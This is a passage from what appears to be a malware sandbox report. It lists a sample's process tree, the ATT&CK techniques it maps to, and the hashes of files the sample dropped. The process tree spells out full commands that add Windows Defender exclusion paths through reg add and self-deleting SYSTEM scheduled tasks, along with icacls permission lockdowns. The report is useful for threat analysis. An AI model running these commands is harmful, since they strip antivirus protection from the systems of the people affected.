    - Executes a command shell one-liner
    PID:3104
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7x7GeV" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4600
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7x7GeV\7x7GeV.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4728
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7x7GeV\7x7GeV.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1088
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7x7GeV\7x7GeV.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:3500
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7x7GeV\7x7GeV.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1200
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7x7GeV\7x7GeV.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:2984
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7x7GeV\7x7GeV.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5596
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7x7GeV\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4892
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7x7GeV\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4576
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7x7GeV\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:2768
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7x7GeV\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3136
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7x7GeV\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:5144
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7x7GeV\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3108
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7x7GeV\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:3776
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7x7GeV\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2176
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7x7GeV\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:240
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7x7GeV\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5440
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7x7GeV\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:3848
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7x7GeV\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3084
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7x7GeV\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:2556
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7x7GeV\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5308
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:1852
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2156
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4940
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4260
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7x7GeV\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:1084
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7x7GeV\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4460
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7x7GeV\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:2800
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7x7GeV\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5388
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:4148
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1436
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:5012
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:1108
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:5176
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2300
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:5924
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:2484
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:1672
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3668
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4676
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:2444

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\e3vnEp" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:548
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\e3vnEp" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1676

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1240

C:\Users\Public\e3vnEp\M2Xu5b.exe
"C:\Users\Public\e3vnEp\M2Xu5b.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1400

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2896
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2776

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1396
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:6084

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4072
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3692

C:\Program Files (x86)\7x7GeV\7x7GeV.exe
"C:\Program Files (x86)\7x7GeV\7x7GeV.exe"
1⤵
PID:2484

C:\Program Files (x86)\7x7GeV\7x7GeV.exe
"C:\Program Files (x86)\7x7GeV\7x7GeV.exe"
1⤵
PID:1140

C:\Program Files (x86)\yWN25nLQ\2MeA2IoO.exe
"C:\Program Files (x86)\yWN25nLQ\2MeA2IoO.exe"
1⤵
PID:4140

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\7x7GeV" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:6104
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\7x7GeV" /t REG_DWORD /d 0 /f
  2⤵
  PID:2628

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2764
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  PID:2336

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1112
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  PID:1140

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2828
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  PID:3896

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3892

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

7x7GeV.exe

Path C:\Program Files (x86)\7x7GeV\7x7GeV.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\7x7GeV\XPSPLOG.dll
Size 4.6MB
SHA256 043d9996846a4daaeb9beb2726bacd452f760c08f41eaaff168ae22fad0d1415
MD5 a457a911225b62999287e53966941923
SHA1 2901eed011ead2c279fb92d55890e3ac61ee5454
SHA512 be0daee3eb3111e37c15ae2804717da79130fb4e5338962c8a216a333ca71bbf84b7e1327df5baea56d54ff4d8742213e6ffaa2848f08886f39c1c83b3462fa9
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmym:BMWKfU+BcUTHCCCfqCiUffnm
TLSH
T1ED263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\7x7GeV\image.png
Size 4.8MB
SHA256 99596072cf0d91e8531adcfc77097d67dce7311eca566f3b3b63c46235ddc633
MD5 82eb3eb54a63983ab65901a9bc8a4bbb
SHA1 d2d01c8180af1d76b568234fcc6eed6573c3dcf9
SHA512 515a8c79a81ecf99b51873d4387988af7e303a5c1b17b8342cece1bc5491de720a851076c9c66ee1e49608d42b1e0926e19c7b325360f8e40f20ad7bad5c52dd
SSDEEP 98304:q/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:qMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T10536334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\7x7GeV\thumbs.db
Size 358KB
SHA256 e87a05f7a0dcbdac2e7c31aafb29ed95cfe65125e66c6b47b8603404e999c739
MD5 171bf5dc5ede5e3a922684afb9dfc753
SHA1 d5a8fc6009181d045e6d3bffb9e797c5c6089491
SHA512 09d720bcc06e3bb72755b494d9ccfda7a60c5fee18f9eafcf56bd7d2b813d97adfaa71c8f9c7d472b39d4541fd5f21c9c402b89e9004a8ef46eb6aa590e65f18
SSDEEP 6144:CiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:d8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T19E74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\yWN25nLQ\XPSPLOG.dll
Size 4.6MB
SHA256 0dacaba88c3f7a4257a647516dabdc715fe797d9f32468c6fac1d498a1d372ec
MD5 47048babd4f6f9b12b1da48d7f318826
SHA1 46abad4741920168bd74c58803535d3962da7191
SHA512 ff6d78b152499e2abfd8552aa9a71af849807e1870b81d61c02cdf388259d3c52209264c08f471e4234de97b33b84016add77f132790fc758cd79ead5f0f2907
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyG:BMWKfU+BcUTHCCCfqCiUffnG
TLSH
T11E263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\yWN25nLQ\image.png
Size 4.8MB
SHA256 e5c09a477d0174dc914e2c881d3ef132b9c21fea97671b787c5cee93360f9b09
MD5 00bfaeae36b8dd812c6c12ebf51971f2
SHA1 df387c071e3d578d2e5bf38b307da0cc7b36c4cc
SHA512 0b5448195199bc90f3c6fefb0cfc14701bd76562c3edf5fcecff5d15ae8a14b4ddf501685e13f03392be50468c60355b2589048c9bf78a14a87ae4756cd11773
SSDEEP 98304:p/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:pMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T13C36334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 a807939139840894595f17589c91dfdb2ce9d07e3e070c76a0aa45bab36234c7
MD5 8b387d4927be91515a3aa5ca6500a44c
SHA1 c169bbf749909f48ebc57d30500fba9e8382bbae
SHA512 891be89a1007cd40cdd24683e271bd6335df1e0c21668c2399ddaa6ee04d88fe1df2db94beaf49275934a13bdc5349ea32892117b708a8d59e89d6fa68337da4
TLSH
T1FE3174BF2F6D39878F794D5414C9E2313CE5E1D09CD600597109C4989F083B22F5E60C
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 a63b47dec175a827b588c54002ff7740cdaa5b114c5d8b82dfcd01d1af92074a
MD5 42ab06de6d510c09d3ed82faead50097
SHA1 80bbbe85e5a3ccf7a8c3e20d4633920350b90fac
SHA512 5e28c7e1310a2b488421ceb701e752629c4df40625310d55291c4870274a855be019b1b57fe847c18c7c16fdce5490615ce10e1f651155fd46f7272444bc90db
TLSH
T1DE31D6A78A3900539F0C5F2966C1D23F6CF6A2265CA04812253EC3FA8204FBB6F89010
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 323dc556657ef28b104b795b3a0a18a479e6cdd30978c47bc061d0819d854e2f
MD5 7abb0c4ba733ff3805c46333fb8859b6
SHA1 073706f755e557b24805d323c2604fc9ede9641c
SHA512 e3649986f10ca183845e3d1a02b90177aef61d5323937fd3bb12877d7f5841ca9cc2f5f19c897f891db81f673dba0ac1b15a02769bddce2b859cab12b2abc3c8
TLSH
T18AF0970C89B8422DF1329A3CC7CA7AE71AABE606241289A807F40708A1229422C52576
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 67a880786ef73ad2d7cc1495475f391b4c1bf13cb64489cbcfbe90b1d06e26b0
MD5 536c868a02781139ae3dc269f4358aa0
SHA1 dc80ecf4941be5da5737cb6cd22a1e1cc764ebb7
SHA512 0209ad9cc4c5765b1a46b2140b2c80052e5ac4d1bd78993becf2cdc28f6b5a39a2b96fb9e898f6621172de2e795f80804517fcebdeb9897eccccf33408b27d5a
TLSH
T1F3F0DC3C57EA001BF07BD2BC86C276F24F29F123104769AB09F103401AB1D003C5267E
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4fb9245d45622163ca08259bd38719ed5f6a2d3491c20be66b9a481d9d54d9d7
MD5 a1e56047552f25ba707f16ee03afe3e0
SHA1 161b37e8cf5d2a1b6523b7c4abe411922f214fcc
SHA512 460bb437db330d51f63b58a4f57ea2ca4d40a0b99b2ac20e643bba4bb11635d5fb6c7642d1844b9d8961fc0be7ecb74e613dfb91b109b4c7f080c57fbfadbcb9
TLSH
T196216833F3DD8624C89A413A10CDAC1036B6C7DB41DECFAB7B85E659A42F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_lgq5kfyq.kan.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lgq5kfyq.kan.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

M2Xu5b.exe

Path C:\Users\Public\e3vnEp\M2Xu5b.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\e3vnEp\UxEnhance64.dll
Size 3.1MB
SHA256 150b834a8d882de94a8771617791d34030eb1180ba2b234ae4160e557b7ca729
MD5 d91a1d3f1a319f0bea6c65f917ffb4d5
SHA1 17955a93ad9a76ac516c5a8e2b192f4079145c98
SHA512 64eec674a9b03b7a7dd428562f4d32c70c9a19a437bd7ebf879e51ee9b997a0b8bb683c56eae3938f8c4c43c9c3b1d80e69b5a14f9c7b2c9fa944e4a32664cce
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+c:P9m29xx3Tiqt06ox6+z2rNNrKoc
TLSH
T1A3E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\e3vnEp\adoresd.dat
Size 4.8MB
SHA256 2c09dc648efdb356459465f5aaf34bb8df5250bceab8039d12f58874f906c36a
MD5 8ed3306e00fd299bdc6871a006ad8369
SHA1 c6e00c8cdba9b43b695e7f00b9f55f2539978b5b
SHA512 df6d3d4694b40be5dd0fffedfdb17eecf9fa8bf76460c511b897b2057de4ac51a14e87a6950b6dee6f00a7d09fd5b13360ce38b352ccfa4735264089d2880603
SSDEEP 98304:LWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:LWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1F13633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\e3vnEp\msadox.tb
Size 8KB
SHA256 2a9b6c5f2404b3c1b787616b8673976ef5d2cb9010d6d4c0ae5e47b5659e1076
MD5 5b83fb7af9eb35c2ef7100c010b0545b
SHA1 4c1145fbb31aac60e2f180d2688f1c11150652c7
SHA512 7bbbb47e83ce1560ecb0bd96edb47c39bc27e0c6debf4005a8b719731535337c39eb2c5666d025c121022af3b5becb0fa024c2238cbf467edfee2c9e5702454c
SSDEEP 192:dqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:dsZqZOXQ3uqvR2Kfzp
TLSH
T196029E05D7B20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xxxx.ini

Path \??\c:\xxxx.ini
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
MD5 81051bcc2cf1bedf378224b0a93e2877
